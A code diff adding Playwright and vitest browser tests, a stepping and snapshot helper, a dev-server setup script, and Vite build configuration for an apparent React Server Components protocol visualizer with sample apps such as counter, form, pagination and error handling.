··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('clientref sample - renders client module exports passed as props', async () => { 22 + await h.load('clientref'); 23 + 24 + // Check flight rows include client references for themes 25 + const rows = await h.getRows(); 26 + expect(rows.some(r => r.text.includes('darkTheme') || r.text.includes('lightTheme'))).toBe(true); 27 + 28 + // Step to end - should show both themed boxes 29 + expect(await h.stepAll()).toMatchInlineSnapshot(` 30 + "<div> 31 + <h1>Client Reference</h1> 32 + <div style={{ display: "flex", gap: 12 }}> 33 + <ThemedBox theme={{ background: "#1a1a1a", color: "#fff" }} label="Dark" /> 34 + <ThemedBox theme={{ background: "#f5f5f5", color: "#000" }} label="Light" /> 35 + </div> 36 + </div>" 37 + `); 38 + expect(await h.preview()).toMatchInlineSnapshot(`"Client Reference Dark theme Light theme"`); 39 + });
+35
tests/counter.spec.js
··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('counter sample', async () => { 22 + await h.load('counter'); 23 + 24 + expect(await h.stepAll()).toMatchInlineSnapshot(` 25 + "<div> 26 + <h1>Counter</h1> 27 + <Counter initialCount={0} /> 28 + </div>" 29 + `); 30 + expect(await h.preview()).toMatchInlineSnapshot(`"Counter Count: 0 − +"`); 31 + 32 + // Client interactivity works 33 + await h.frame().locator('.preview-container button').last().click(); 34 + expect(await h.preview()).toContain('Count: 1'); 35 + });
+74
tests/errors.spec.js
··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('errors sample - error boundary catches thrown error', async () => { 22 + await h.load('errors'); 23 + 24 + // Step to end - should show error fallback (fetchUser throws) 25 + expect(await h.stepAll()).toMatchInlineSnapshot(` 26 + "<div> 27 + <h1>Error Handling</h1> 28 + <ErrorBoundary fallback={ 29 + <div style={{ 30 + padding: 16, 31 + background: "#fee", 32 + borderRadius: 8, 33 + color: "#c00" 34 + }}> 35 + <strong>Failed to load user</strong> 36 + <p style={{ margin: "4px 0 0" }}>Please try again later.</p> 37 + </div> 38 + }> 39 + <Suspense fallback={ 40 + <p>Loading user...</p> 41 + }> 42 + Pending 43 + </Suspense> 44 + </ErrorBoundary> 45 + </div>" 46 + `); 47 + expect(await h.preview()).toContain('Error Handling'); 48 + 49 + // After async resolves with error, error boundary catches it 50 + expect(await h.stepAll()).toMatchInlineSnapshot(` 51 + "<div> 52 + <h1>Error Handling</h1> 53 + <ErrorBoundary fallback={ 54 + <div style={{ 55 + padding: 16, 56 + background: "#fee", 57 + borderRadius: 8, 58 + color: "#c00" 59 + }}> 60 + <strong>Failed to load user</strong> 61 + <p style={{ margin: "4px 0 0" }}>Please try again later.</p> 62 + </div> 63 + }> 64 + <Suspense fallback={ 65 + <p>Loading user...</p> 66 + }> 67 + Error: Network error 68 + </Suspense> 69 + </ErrorBoundary> 70 + </div>" 71 + `); 72 + expect(await h.preview()).toContain('Failed to load user'); 73 + expect(await h.preview()).toContain('Please try again later'); 74 + });
+40
tests/form.spec.js
··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('form sample', async () => { 22 + await h.load('form'); 23 + 24 + expect(await h.stepAll()).toMatchInlineSnapshot(` 25 + "<div> 26 + <h1>Form Action</h1> 27 + <Form greetAction={[Function: greet]} /> 28 + </div>" 29 + `); 30 + expect(await h.preview()).toMatchInlineSnapshot(`"Form Action Greet"`); 31 + 32 + // Submit form 33 + await h.frame().locator('.preview-container input[name="name"]').fill('World'); 34 + await h.frame().locator('.preview-container button').click(); 35 + expect(await h.preview()).toMatchInlineSnapshot(`"Form Action Sending..."`); 36 + 37 + // Action response 38 + expect(await h.stepAll()).toMatchInlineSnapshot(`"{ message: "Hello, World!", error: null }"`); 39 + expect(await h.preview()).toMatchInlineSnapshot(`"Form Action Greet Hello, World!"`); 40 + });
+37
tests/globalSetup.js
··· 1 + import { spawn, execSync } from 'child_process'; 2 + 3 + let devServer; 4 + 5 + export async function setup() { 6 + await new Promise((resolve, reject) => { 7 + devServer = spawn('npm', ['run', 'dev', '--', '--port', '5599'], { 8 + stdio: ['ignore', 'pipe', 'pipe'], 9 + detached: false, 10 + }); 11 + 12 + devServer.stdout.on('data', (data) => { 13 + if (data.toString().includes('Local:')) { 14 + resolve(); 15 + } 16 + }); 17 + 18 + devServer.stderr.on('data', (data) => { 19 + console.error(data.toString()); 20 + }); 21 + 22 + devServer.on('error', reject); 23 + 24 + // Timeout after 30s 25 + setTimeout(() => reject(new Error('Dev server failed to start')), 30000); 26 + }); 27 + } 28 + 29 + export async function teardown() { 30 + if (devServer) { 31 + devServer.kill('SIGTERM'); 32 + // Also kill any process on the port 33 + try { 34 + execSync('lsof -ti:5599 | xargs kill -9 2>/dev/null || true'); 35 + } catch {} 36 + } 37 + }
+26
tests/hello.spec.js
··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('hello sample', async () => { 22 + await h.load('hello'); 23 + 24 + expect(await h.stepAll()).toMatchInlineSnapshot(`"<h1>Hello World</h1>"`); 25 + expect(await h.preview()).toMatchInlineSnapshot(`"Hello World"`); 26 + });
+212
tests/helpers.js
··· 1 + import { expect } from 'vitest'; 2 + 3 + let prevRowTexts = []; 4 + let prevStatuses = []; 5 + let prevPreview = ''; 6 + let previewAsserted = true; 7 + let pageRef = null; 8 + let frameRef = null; 9 + 10 + export function createHelpers(page) { 11 + pageRef = page; 12 + 13 + async function load(sample) { 14 + await page.goto(`http://localhost:5599/?s=${sample}`); 15 + // Wait for iframe to load and get frame reference 16 + const iframe = page.frameLocator('iframe'); 17 + frameRef = iframe; 18 + // Wait for content inside iframe 19 + await iframe.locator('.log-entry').first().waitFor({ timeout: 10000 }); 20 + await page.waitForTimeout(100); 21 + prevRowTexts = []; 22 + prevStatuses = []; 23 + prevPreview = await getPreviewText(); 24 + previewAsserted = true; 25 + } 26 + 27 + async function getPreviewText() { 28 + return (await frameRef.locator('.preview-container').innerText()).trim().replace(/\s+/g, ' '); 29 + } 30 + 31 + async function doStep() { 32 + const btn = frameRef.locator('.control-btn').nth(2); 33 + if (await btn.isDisabled()) return null; 34 + await btn.click(); 35 + await pageRef.waitForTimeout(50); 36 + 37 + const rows = await getRows(); 38 + const texts = rows.map(r => r.text); 39 + const statuses = rows.map(r => r.status); 40 + 41 + for (let i = 0; i < Math.min(prevRowTexts.length, texts.length); i++) { 42 + expect(texts[i], `row ${i} content changed`).toBe(prevRowTexts[i]); 43 + } 44 + 45 + for (let i = 0; i < Math.min(prevStatuses.length, statuses.length); i++) { 46 + const prev = prevStatuses[i]; 47 + const curr = statuses[i]; 48 + if (prev === 'done') { 49 + expect(curr, `row ${i}: done should stay done`).toBe('done'); 50 + } else if (prev === 'next') { 51 + expect(curr, `row ${i}: next should become done`).toBe('done'); 52 + } 53 + } 54 + 55 + const prevNextIdx = prevStatuses.indexOf('next'); 56 + if (prevNextIdx !== -1 && prevNextIdx < statuses.length) { 57 + expect(statuses[prevNextIdx], `previous "next" row should be "done"`).toBe('done'); 58 + } 59 + 60 + prevRowTexts = texts; 61 + prevStatuses = statuses; 62 + 63 + return await tree(); 64 + } 65 + 66 + async function step() { 67 + // Check for unasserted preview changes before stepping 68 + const currentPreview = await getPreviewText(); 69 + if (currentPreview !== prevPreview && !previewAsserted) { 70 + expect.fail(`preview changed without assertion. Was: "${prevPreview}" Now: "${currentPreview}"`); 71 + } 72 + previewAsserted = false; 73 + return await doStep(); 74 + } 75 + 76 + async function waitForStepButton() { 77 + const btn = frameRef.locator('.control-btn').nth(2); 78 + // Wait for button to be enabled 79 + await expect.poll(async () => { 80 + return !(await btn.isDisabled()); 81 + }, { timeout: 10000 }).toBe(true); 82 + await pageRef.waitForTimeout(50); 83 + } 84 + 85 + async function stepAll() { 86 + // Check for unasserted preview changes before stepping 87 + const currentPreview = await getPreviewText(); 88 + if (currentPreview !== prevPreview && !previewAsserted) { 89 + expect.fail(`preview changed without assertion. Was: "${prevPreview}" Now: "${currentPreview}"`); 90 + } 91 + 92 + // Wait for steps to be available 93 + await waitForStepButton(); 94 + 95 + // Step once first to get initial state after stepping 96 + let lastTree = await doStep(); 97 + if (lastTree === null) { 98 + previewAsserted = false; 99 + return await tree(); 100 + } 101 + let lastPreview = await getPreviewText(); 102 + 103 + // Keep stepping while tree and preview stay the same 104 + while (true) { 105 + const nextTree = await doStep(); 106 + if (nextTree === null) break; 107 + 108 + const nextPreview = await getPreviewText(); 109 + 110 + // If tree or preview changed from previous step, return new state 111 + if (nextTree !== lastTree || nextPreview !== lastPreview) { 112 + previewAsserted = false; 113 + return nextTree; 114 + } 115 + 116 + lastTree = nextTree; 117 + lastPreview = nextPreview; 118 + } 119 + 120 + previewAsserted = false; 121 + return await tree(); 122 + } 123 + 124 + async function preview() { 125 + const current = await getPreviewText(); 126 + if (current !== prevPreview) { 127 + prevPreview = current; 128 + previewAsserted = true; 129 + } 130 + return current; 131 + } 132 + 133 + async function stepInfo() { 134 + return (await frameRef.locator('.step-info').innerText()).trim(); 135 + } 136 + 137 + async function getRows() { 138 + return frameRef.locator('.flight-line').evaluateAll(els => 139 + els.map(el => ({ 140 + text: el.textContent, 141 + status: el.classList.contains('line-done') ? 'done' 142 + : el.classList.contains('line-next') ? 'next' 143 + : 'pending' 144 + })).filter(({ text }) => 145 + !text.startsWith(':N') && 146 + !/^\w+:D/.test(text) && 147 + !/^\w+:\{.*"name"/.test(text) && 148 + !/^\w+:\[\[/.test(text) 149 + ) 150 + ); 151 + } 152 + 153 + async function tree() { 154 + // Find the log entry containing the "next" line, or the last done entry 155 + const treeText = await frameRef.locator('.log-entry').evaluateAll(entries => { 156 + const nextLine = document.querySelector('.line-next'); 157 + if (nextLine) { 158 + const entry = nextLine.closest('.log-entry'); 159 + const tree = entry?.querySelector('.log-entry-tree'); 160 + return tree?.innerText?.trim() || null; 161 + } 162 + // No next line - get the last entry's tree 163 + if (entries.length === 0) return null; 164 + const lastEntry = entries[entries.length - 1]; 165 + const tree = lastEntry.querySelector('.log-entry-tree'); 166 + return tree?.innerText?.trim() || null; 167 + }); 168 + return treeText; 169 + } 170 + 171 + async function checkNoRemainingSteps() { 172 + const initialTree = await tree(); 173 + const initialPreview = await getPreviewText(); 174 + 175 + // Consume remaining steps, but fail if tree or preview changes 176 + while (true) { 177 + const btn = frameRef.locator('.control-btn').nth(2); 178 + if (await btn.isDisabled()) break; 179 + 180 + await btn.click(); 181 + await pageRef.waitForTimeout(50); 182 + 183 + const currentTree = await tree(); 184 + const currentPreview = await getPreviewText(); 185 + 186 + if (currentTree !== initialTree) { 187 + expect.fail(`Unasserted tree change at end of test.\nWas: ${initialTree}\nNow: ${currentTree}`); 188 + } 189 + if (currentPreview !== initialPreview) { 190 + expect.fail(`Unasserted preview change at end of test.\nWas: "${initialPreview}"\nNow: "${currentPreview}"`); 191 + } 192 + } 193 + } 194 + 195 + function frame() { 196 + return frameRef; 197 + } 198 + 199 + async function waitFor(predicate, options = {}) { 200 + const timeout = options.timeout || 10000; 201 + const interval = 50; 202 + const start = Date.now(); 203 + while (Date.now() - start < timeout) { 204 + const result = await frameRef.locator('body').evaluate(predicate); 205 + if (result) return; 206 + await pageRef.waitForTimeout(interval); 207 + } 208 + throw new Error(`waitFor timed out after ${timeout}ms`); 209 + } 210 + 211 + return { load, step, stepAll, stepInfo, getRows, preview, tree, checkNoRemainingSteps, frame, waitFor }; 212 + }
+234
tests/kitchensink.spec.js
··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('kitchensink sample - renders all RSC protocol types', async () => { 22 + await h.load('kitchensink'); 23 + 24 + // Should have many rows for all the different types 25 + const rows = await h.getRows(); 26 + expect(rows.length).toBeGreaterThan(5); 27 + 28 + // Step to initial suspense 29 + expect(await h.stepAll()).toMatchInlineSnapshot(` 30 + "<div> 31 + <h1>Kitchen Sink</h1> 32 + <Suspense fallback={ 33 + <p>Loading...</p> 34 + }> 35 + Pending 36 + </Suspense> 37 + </div>" 38 + `); 39 + expect(await h.preview()).toMatchInlineSnapshot(`"Kitchen Sink Loading..."`); 40 + 41 + // Step to resolve async content (with delayed promise still pending) 42 + expect(await h.stepAll()).toMatchInlineSnapshot(` 43 + "<div> 44 + <h1>Kitchen Sink</h1> 45 + <Suspense fallback={ 46 + <p>Loading...</p> 47 + }> 48 + <DataDisplay data={{ 49 + primitives: { 50 + null: null, 51 + true: true, 52 + false: false, 53 + int: 42, 54 + float: 3.14159, 55 + string: "hello world", 56 + empty: "", 57 + dollar: "$special", 58 + unicode: "Hello 世界 🌍" 59 + }, 60 + special: { 61 + negZero: -0, 62 + inf: Infinity, 63 + negInf: -Infinity, 64 + nan: NaN 65 + }, 66 + types: { 67 + date: Date(2024-01-15T12:00:00.000Z), 68 + bigint: 12345678901234567890n, 69 + symbol: Symbol(mySymbol) 70 + }, 71 + collections: { 72 + map: Map(2) { 73 + "a" => 1, 74 + "b" => { nested: true } 75 + }, 76 + set: Set(3) { 77 + 1, 78 + 2, 79 + "three" 80 + }, 81 + formData: FormData { 82 + key: "value" 83 + }, 84 + blob: Blob(5 bytes, "text/plain") 85 + }, 86 + arrays: { 87 + simple: [1, 2, 3], 88 + sparse: [ 89 + 1, 90 + empty, 91 + empty, 92 + 4 93 + ], 94 + nested: [[1], [2, [3]]] 95 + }, 96 + objects: { 97 + simple: { a: 1 }, 98 + nested: { 99 + x: { 100 + y: { z: "deep" } 101 + } 102 + } 103 + }, 104 + elements: { 105 + div: <div className="test">Hello</div>, 106 + fragment: [ 107 + <span>a</span>, 108 + <span>b</span> 109 + ], 110 + suspense: <Suspense fallback="..."> 111 + <p>content</p> 112 + </Suspense> 113 + }, 114 + promises: { 115 + resolved: "immediate", 116 + delayed: Pending 117 + }, 118 + iterators: { 119 + sync: Iterator {} 120 + }, 121 + refs: { 122 + dup: { 123 + a: { id: 1 }, 124 + b: { id: 1 } 125 + }, 126 + cyclic: { 127 + name: "cyclic", 128 + self: [Circular] 129 + } 130 + }, 131 + action: [Function: serverAction] 132 + }} /> 133 + </Suspense> 134 + </div>" 135 + `); 136 + expect(await h.preview()).toMatchInlineSnapshot(`"Kitchen Sink Loading..."`); 137 + 138 + // Step to resolve delayed promise 139 + expect(await h.stepAll()).toMatchInlineSnapshot(` 140 + "<div> 141 + <h1>Kitchen Sink</h1> 142 + <Suspense fallback={ 143 + <p>Loading...</p> 144 + }> 145 + <DataDisplay data={{ 146 + primitives: { 147 + null: null, 148 + true: true, 149 + false: false, 150 + int: 42, 151 + float: 3.14159, 152 + string: "hello world", 153 + empty: "", 154 + dollar: "$special", 155 + unicode: "Hello 世界 🌍" 156 + }, 157 + special: { 158 + negZero: -0, 159 + inf: Infinity, 160 + negInf: -Infinity, 161 + nan: NaN 162 + }, 163 + types: { 164 + date: Date(2024-01-15T12:00:00.000Z), 165 + bigint: 12345678901234567890n, 166 + symbol: Symbol(mySymbol) 167 + }, 168 + collections: { 169 + map: Map(2) { 170 + "a" => 1, 171 + "b" => { nested: true } 172 + }, 173 + set: Set(3) { 174 + 1, 175 + 2, 176 + "three" 177 + }, 178 + formData: FormData { 179 + key: "value" 180 + }, 181 + blob: Blob(5 bytes, "text/plain") 182 + }, 183 + arrays: { 184 + simple: [1, 2, 3], 185 + sparse: [ 186 + 1, 187 + empty, 188 + empty, 189 + 4 190 + ], 191 + nested: [[1], [2, [3]]] 192 + }, 193 + objects: { 194 + simple: { a: 1 }, 195 + nested: { 196 + x: { 197 + y: { z: "deep" } 198 + } 199 + } 200 + }, 201 + elements: { 202 + div: <div className="test">Hello</div>, 203 + fragment: [ 204 + <span>a</span>, 205 + <span>b</span> 206 + ], 207 + suspense: <Suspense fallback="..."> 208 + <p>content</p> 209 + </Suspense> 210 + }, 211 + promises: { 212 + resolved: "immediate", 213 + delayed: "delayed" 214 + }, 215 + iterators: { 216 + sync: Iterator {} 217 + }, 218 + refs: { 219 + dup: { 220 + a: { id: 1 }, 221 + b: { id: 1 } 222 + }, 223 + cyclic: { 224 + name: "cyclic", 225 + self: [Circular] 226 + } 227 + }, 228 + action: [Function: serverAction] 229 + }} /> 230 + </Suspense> 231 + </div>" 232 + `); 233 + expect(await h.preview()).toMatchInlineSnapshot(`"Kitchen Sink Loading..."`); 234 + });
+173
tests/pagination.spec.js
··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('pagination sample', async () => { 22 + await h.load('pagination'); 23 + 24 + // Initial render - Suspense with Pending first 25 + expect(await h.stepAll()).toMatchInlineSnapshot(` 26 + "<div> 27 + <h1>Pagination</h1> 28 + <Suspense fallback={ 29 + <p style={{ color: "#888" }}>Loading recipes...</p> 30 + }> 31 + Pending 32 + </Suspense> 33 + </div>" 34 + `); 35 + expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Loading recipes..."`); 36 + 37 + // Then resolves to Paginator with initial items 38 + expect(await h.stepAll()).toMatchInlineSnapshot(` 39 + "<div> 40 + <h1>Pagination</h1> 41 + <Suspense fallback={ 42 + <p style={{ color: "#888" }}>Loading recipes...</p> 43 + }> 44 + <Paginator initialItems={[ 45 + <div key="1" style={{ 46 + padding: 12, 47 + marginBottom: 8, 48 + background: "#f5f5f5", 49 + borderRadius: 6 50 + }}> 51 + <strong>Pasta Carbonara</strong> 52 + <p style={{ 53 + margin: "4px 0 0", 54 + color: "#666", 55 + fontSize: 13 56 + }}> 57 + 25 min · Medium 58 + </p> 59 + </div>, 60 + <div key="2" style={{ 61 + padding: 12, 62 + marginBottom: 8, 63 + background: "#f5f5f5", 64 + borderRadius: 6 65 + }}> 66 + <strong>Grilled Cheese</strong> 67 + <p style={{ 68 + margin: "4px 0 0", 69 + color: "#666", 70 + fontSize: 13 71 + }}> 72 + 10 min · Easy 73 + </p> 74 + </div> 75 + ]} initialCursor={2} loadMoreAction={[Function: loadMore]} /> 76 + </Suspense> 77 + </div>" 78 + `); 79 + expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Loading recipes..."`); 80 + 81 + // First Load More 82 + await h.frame().locator('.preview-container button').click(); 83 + expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Pasta Carbonara 25 min · Medium Grilled Cheese 10 min · Easy Loading..."`); 84 + 85 + // Action returns new items 86 + expect(await h.stepAll()).toMatchInlineSnapshot(` 87 + "{ 88 + newItems: [ 89 + <div key="3" style={{ 90 + padding: 12, 91 + marginBottom: 8, 92 + background: "#f5f5f5", 93 + borderRadius: 6 94 + }}> 95 + <strong>Chicken Stir Fry</strong> 96 + <p style={{ 97 + margin: "4px 0 0", 98 + color: "#666", 99 + fontSize: 13 100 + }}> 101 + 20 min · Easy 102 + </p> 103 + </div>, 104 + <div key="4" style={{ 105 + padding: 12, 106 + marginBottom: 8, 107 + background: "#f5f5f5", 108 + borderRadius: 6 109 + }}> 110 + <strong>Beef Tacos</strong> 111 + <p style={{ 112 + margin: "4px 0 0", 113 + color: "#666", 114 + fontSize: 13 115 + }}> 116 + 30 min · Medium 117 + </p> 118 + </div> 119 + ], 120 + cursor: 4, 121 + hasMore: true 122 + }" 123 + `); 124 + expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Pasta Carbonara 25 min · Medium Grilled Cheese 10 min · Easy Chicken Stir Fry 20 min · Easy Beef Tacos 30 min · Medium Load More"`); 125 + 126 + // Second Load More 127 + await h.frame().locator('.preview-container button').click(); 128 + expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Pasta Carbonara 25 min · Medium Grilled Cheese 10 min · Easy Chicken Stir Fry 20 min · Easy Beef Tacos 30 min · Medium Loading..."`); 129 + 130 + // Final items, hasMore: false 131 + expect(await h.stepAll()).toMatchInlineSnapshot(` 132 + "{ 133 + newItems: [ 134 + <div key="5" style={{ 135 + padding: 12, 136 + marginBottom: 8, 137 + background: "#f5f5f5", 138 + borderRadius: 6 139 + }}> 140 + <strong>Caesar Salad</strong> 141 + <p style={{ 142 + margin: "4px 0 0", 143 + color: "#666", 144 + fontSize: 13 145 + }}> 146 + 15 min · Easy 147 + </p> 148 + </div>, 149 + <div key="6" style={{ 150 + padding: 12, 151 + marginBottom: 8, 152 + background: "#f5f5f5", 153 + borderRadius: 6 154 + }}> 155 + <strong>Mushroom Risotto</strong> 156 + <p style={{ 157 + margin: "4px 0 0", 158 + color: "#666", 159 + fontSize: 13 160 + }}> 161 + 45 min · Hard 162 + </p> 163 + </div> 164 + ], 165 + cursor: 6, 166 + hasMore: false 167 + }" 168 + `); 169 + expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Pasta Carbonara 25 min · Medium Grilled Cheese 10 min · Easy Chicken Stir Fry 20 min · Easy Beef Tacos 30 min · Medium Caesar Salad 15 min · Easy Mushroom Risotto 45 min · Hard"`); 170 + 171 + // No more items - button should be gone 172 + expect(await h.frame().locator('.preview-container button').isVisible()).toBe(false); 173 + });
+50
tests/refresh.spec.js
··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('refresh sample - renders router with async content', async () => { 22 + await h.load('refresh'); 23 + 24 + // Step to initial render (shows Pending) 25 + expect(await h.stepAll()).toMatchInlineSnapshot(` 26 + "<div> 27 + <h1>Router Refresh</h1> 28 + <p style={{ marginBottom: 12, color: "#666" }}>Client state persists across server navigations</p> 29 + <Suspense fallback={ 30 + <p>Loading...</p> 31 + }> 32 + <Router initial={Pending} refreshAction={[Function: renderPage]} /> 33 + </Suspense> 34 + </div>" 35 + `); 36 + expect(await h.preview()).toMatchInlineSnapshot(`"Router Refresh Client state persists across server navigations Loading..."`); 37 + 38 + // Step to resolve async Timer content (color is random hsl value) 39 + const tree = await h.stepAll(); 40 + expect(tree).toMatch(/Router Refresh/); 41 + expect(tree).toMatch(/<Timer color="hsl\(\d+, 70%, 85%\)" \/>/); 42 + 43 + // Wait for preview to render the timer (shows "0s" or similar) 44 + await h.waitFor( 45 + () => /\d+s/.test(document.querySelector('.preview-container')?.textContent || ''), 46 + { timeout: 5000 } 47 + ); 48 + const preview = await h.preview(); 49 + expect(preview).toMatch(/Router Refresh.*\d+s.*Refresh/); 50 + });
+94
vite.config.js
··· 1 + import { defineConfig } from 'vite'; 2 + import react from '@vitejs/plugin-react'; 3 + import { resolve, dirname } from 'path'; 4 + import { fileURLToPath } from 'url'; 5 + 6 + const __dirname = dirname(fileURLToPath(import.meta.url)); 7 + 8 + function rolldownWorkerPlugin() { 9 + let mode = 'production'; 10 + return { 11 + name: 'rolldown-worker', 12 + enforce: 'pre', 13 + configResolved(config) { 14 + mode = config.mode; 15 + }, 16 + resolveId(id, importer) { 17 + if (id.includes('?rolldown-worker')) { 18 + return '\0worker:' + resolve(dirname(importer), id.replace('?rolldown-worker', '')); 19 + } 20 + }, 21 + async load(id) { 22 + if (!id.startsWith('\0worker:')) return; 23 + const isProd = mode === 'production'; 24 + const { rolldown } = await import('rolldown'); 25 + // Use 'production' or 'development' condition to match React's export conditions 26 + const conditions = isProd 27 + ? ['react-server', 'production', 'browser', 'import', 'default'] 28 + : ['react-server', 'development', 'browser', 'import', 'default']; 29 + const bundle = await rolldown({ 30 + input: id.slice('\0worker:'.length), 31 + platform: 'browser', 32 + resolve: { conditionNames: conditions }, 33 + transform: { 34 + define: { 35 + 'process.env.NODE_ENV': JSON.stringify(isProd ? 'production' : 'development'), 36 + }, 37 + }, 38 + }); 39 + const { output } = await bundle.generate({ format: 'iife', minify: isProd }); 40 + for (const dep of output[0].moduleIds) { 41 + if (dep.startsWith('/')) this.addWatchFile(dep); 42 + } 43 + await bundle.close(); 44 + return ` 45 + export default URL.createObjectURL(new Blob([${JSON.stringify(output[0].code)}], { type: 'application/javascript' })); 46 + if (import.meta.hot) import.meta.hot.accept(() => location.reload());`; 47 + }, 48 + }; 49 + } 50 + 51 + function serveEmbedPlugin() { 52 + return { 53 + name: 'serve-embed', 54 + configureServer(server) { 55 + server.middlewares.use((req, res, next) => { 56 + if (req.url === '/embed.js') { 57 + req.url = '/src/embed.js'; 58 + } 59 + next(); 60 + }); 61 + }, 62 + }; 63 + } 64 + 65 + export default defineConfig(({ mode }) => ({ 66 + plugins: [react(), rolldownWorkerPlugin(), serveEmbedPlugin()], 67 + server: { port: 3333 }, 68 + define: { 69 + 'process.env.NODE_ENV': JSON.stringify(mode === 'development' ? 'development' : 'production'), 70 + }, 71 + resolve: { 72 + conditions: mode === 'development' 73 + ? ['development', 'browser', 'import', 'default'] 74 + : ['production', 'browser', 'import', 'default'], 75 + }, 76 + build: { 77 + rollupOptions: { 78 + input: { 79 + main: resolve(__dirname, 'index.html'), 80 + embed: resolve(__dirname, 'embed.html'), 81 + 'embed-js': resolve(__dirname, 'src/embed.js'), 82 + }, 83 + output: { 84 + entryFileNames: (chunkInfo) => { 85 + if (chunkInfo.name === 'embed-js') { 86 + return 'embed.js'; 87 + } 88 + return 'assets/[name]-[hash].js'; 89 + }, 90 + }, 91 + preserveEntrySignatures: 'exports-only', 92 + }, 93 + }, 94 + }));
+9
vitest.config.js
··· 1 + import { defineConfig } from 'vitest/config'; 2 + 3 + export default defineConfig({ 4 + test: { 5 + testTimeout: 15000, 6 + fileParallelism: true, 7 + globalSetup: './tests/globalSetup.js', 8 + }, 9 + });